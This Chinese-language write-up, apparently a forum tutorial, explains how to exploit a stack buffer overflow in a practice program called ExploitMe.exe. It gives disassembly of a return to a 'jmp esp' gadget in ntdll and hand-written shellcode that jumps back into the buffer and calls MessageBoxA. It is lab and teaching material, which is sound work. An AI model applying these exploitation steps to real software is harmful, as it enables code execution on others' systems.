溢出代码的前8个字节被ExploitMe.exe用来计算,设结果为n,则ExploitMe.exe将执行004002EE处代码拷贝4n字节的内容到到栈上。n的值当然不能太大。
004002EE |. F3:A5 rep movs dword ptr es:[edi], dword p>
在拷贝后执行到004002F5
004002F5 \. C3 retn
这里我打算让程序执行到某个系统空间的jmp esp代码处,随便搜索一下,发现了ntdll.7C961EED处的代码符合,而此时的栈定刚好对应到溢出代码的0x30h处。
程序返回跳到
7C961EED - FFE4 jmp esp
此时的esp刚好等于溢出代码的0x34处,继续执行
这里要想办法跳到溢出代码的0x8处,所以0x34-0x3A处的代码为
0013FAE8 8BC4 mov eax, esp
0013FAEA 83E8 2C sub eax, 2C
0013FAED FFE0 jmp eax
继续执行,跳转到溢出代码的0x8处
0013FABC 83C0 50 add eax, 50
0013FABF FF30 push dword ptr [eax]
0013FAC1 83E8 18 sub eax, 18
0013FAC4 6A 00 push 0
0013FAC6 50 push eax
0013FAC7 50 push eax
0013FAC8 68 90034000 push 400390
0013FACD 8BEC mov ebp, esp
0013FACF 83C5 34 add ebp, 34
0013FAD2 C3 retn
这里要做的时在栈中设置好返回时的地址,我打算直接返回到00400390
00400383 |. 59 pop ecx
00400384 |. 59 pop ecx
00400385 |> 57 push edi ; /Style
00400386 |. 68 68024000 push 00400268 ; |Title = "Try"
0040038B |. 68 60024000 push 00400260 ; |Text = "Failed!"
00400390 |. 57 push edi ; |hOwner ----》回到这里
00400391 |. FF15 4C024000 call dword ptr [<&USER32.MessageBoxA>>; \MessageBoxA
00400397 |. 8D4D F0 lea ecx, dword ptr [ebp-10]
所以还要入栈"Style","Title","Text"参数,由于程序没有字符串"OK!",所以就把字符串"OK!"放到溢出代码的0x40处,还要平衡ebp
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课